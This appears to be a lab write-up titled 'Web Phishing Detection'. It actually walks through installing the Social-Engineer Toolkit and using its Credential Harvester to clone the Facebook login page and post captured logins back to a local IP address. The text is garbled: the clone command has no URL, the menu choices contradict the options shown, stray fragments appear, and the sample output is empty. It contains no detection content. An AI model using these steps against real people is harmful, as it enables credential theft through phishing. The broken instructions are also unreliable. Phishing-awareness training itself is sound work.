

# Web Phishing Detection

First, We can clone and install social engineering toolkit using the commands shown below.

```
git clone
```

```
kali linux/social-engineer-toolkit/setoolkit
```

```
python setup.py
```

installation is successfully. we can launch the toolkit using the shown below,

```
#setoolkit
```

```
select the menu;
```

- 1) Social-Engineering Attacks
- 2) penetration Testing
- 3) Third Party Modules
- 4) Update the Social-Engineer Toolkit
- 5) Update SET configuration
- 6) Help credits, and About
- 7) Exit the Social-Engineer Toolkit

```
set>5
```

Select from the menu:

- 1)Spear-Phishing Attack Vectors
- 2)Website Attack Vectors
- 3)Infectious Media Generator
- 4)Create Payload and Listener
- 5)Mass MAailer Attack
- 6)Ardino-Based Attack Vector
- 7)Wireless Acceess Point Attack Vector
- 8)QR Code Generator Attack Vector
- 9)Powershell Attack Vectors
- 10)Third Party Modules
- 99)Return back to the main menu

set>3

Relevant option is choose:

- 1)Java Applet Attack Method
- 2)Metasploit Browser Exploit Method
- 3)Credential Harvester Attack Method
- 4)Tabnabbing Attack Method
- 5)Web Jacking Attack Method

6)Multi\_Attack Web Method

Kipp

7)HTA Attack Method

99)Return to Main Menu

set:webback>2

Fake Login page:

1)Web Templates

2)Site Cloner

3)Custom Import

SetLwebattack>1

We can choose existing Web Templates or Clone Site.This will pick the IPAddress for the POST back in Harvester/Tabnabbing[192.168.9:246]

set:webattack>IPAddress for the page:www.facebook.com

[\*]Cloning the Website

[\*]This could take a Little Bit...,

PARAM:

scribe\_log=

PARAM:

authnticity\_token=db333456734abcdefg23456

when you are Finished

Hit Control C to Generate a Report

Social Engineering toolkit is a powerful Toolset for anyone to perform social engineering attacks. The internal Phishing Campaigns is one of the effective ways to prevent such Attacks.

### **SAMPLE OUTPUT:**



